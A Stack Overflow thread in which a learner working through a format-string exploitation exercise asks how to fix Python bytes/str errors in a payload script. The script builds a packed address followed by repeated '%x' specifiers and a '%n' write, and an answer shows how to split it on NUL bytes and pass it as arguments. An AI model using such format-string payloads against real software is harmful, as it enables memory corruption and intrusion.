0

I am trying to create an exploit for an exercise but I have a problem with the following code:

#!/usr/bin/python
import os
import struct
address = struct.pack("I",0x201014)
payload = address+"." + ".%x."*131 + ".%n."
os.system("/home/osboxes/Desktop/formatString " + payload)

But the mistake is as follows: TypeError: system() argument 1 must be string without null bytes, not str

I am trying to upgrade to the current version of python with "subprocess" utility:

#!/usr/bin/python3
import subprocess
import struct
address = struct.pack("I",0x201014)
payload = address+"." + ".%x."*131 + ".%n."
subprocess.call("/home/osboxes/Desktop/formatString " + payload, shell=True)

But the mistake is as follows: TypeError: can't concat str to bytes

How could I fix the byte or str conversion problem for both versions? both programs agree that the error is in the line of "payload = ..."

Charles Duffy
  • 280,126
  • 43
  • 390
  • 441
Michael
  • 15
  • 4
  • 1
    `type(address)` will return "bytes" while elements like `".%n."`, `".%x."`, and `".%x."*131` are all returning strings. You're mixing data types.(https://stackoverflow.com/questions/606191/convert-bytes-to-a-string) – Richard W Dec 22 '20 at 20:57
  • The error message means _exactly_ what it says. In Python 3, `'something'` is a Unicode string, not a bytestring. Only bytestrings without any NULs can be placed on command lines (Unicode strings need to be encoded to get there). – Charles Duffy Dec 22 '20 at 21:07
  • Also, passing the payload through a shell is a _supremely_ bad idea, because unless you know what characters it converts to you can't tell what kind of munging the shell will to do it before passing it through to the software you're trying to invoke. Use `subprocess.call(['/path/to/formatString', payload])` with the default `shell=False` -- after making sure that `payload` is indeed a bytestring with no NULs. (If it _does_ contain NULs, you'll need to use them as boundary points between separate argument vector entries). – Charles Duffy Dec 22 '20 at 21:07
  • BTW, building shellcode that doesn't contain any NULs so it can be passed this way is an art in and of itself. (Also, unless you turned off address-space randomization, I'm not sure how this is expected to work... but that's a question of `formatString`'s vulnerability and how you're exploiting it, vs the question you asked being about Python). – Charles Duffy Dec 22 '20 at 21:21
  • I am following this [tutorial](https://null-byte.wonderhowto.com/how-to/exploit-development-read-write-programs-memory-using-format-string-vulnerability-0181919/) to learn, but it seems that the "exploit" part is outdated. How could I integrate it to make it work? – Michael Dec 22 '20 at 21:35

1 Answers1

2

That string isn't capable of being passed as a command-line argument on UNIX.

Why? Because it contains NUL literals, and UNIX command lines are made up of C strings -- which are NUL-terminated.

>>> address = struct.pack("I",0x201014)
>>> address
b'\x14\x10 \x00'

See that \x00? Not allowed, not possible -- not as one command-line argument, at least.


But you can put it in an argv, as long as it's split into multiple arguments. Note that shell=False below:

payload = (address + (b'.%x.' * 131) + b'.%n.').split(b'\0')
subprocess.call(['/home/osboxes/Desktop/formatString'] + payload)

How does this work? Because the \x00s that terminate each individual C string are implicitly present at the boundary points.

Charles Duffy
  • 280,126
  • 43
  • 390
  • 441
  • Great! It doesn't show me any error anymore, but it doesn't recognize the payload argument. That is, the "formatString" binary asks me to enter a string per screen. What could be the reason for this? – Michael Dec 22 '20 at 21:32
  • Ahh. So, they developed that tutorial somewhere the address they're trying to inject _didn't_ have a NUL, so it was able to all fit in one C string. That's not the case for the address you're trying to use here, so... well, there's your problem. Basically, the short of it is that the exploit in question can't be used here, so you need a different one (and should be following a different tutorial). _Suggesting_ such a tutorial isn't really in-scope here (indeed, off-site resource requests [are explicitly off-topic](https://stackoverflow.com/help/on-topic)). – Charles Duffy Dec 22 '20 at 22:50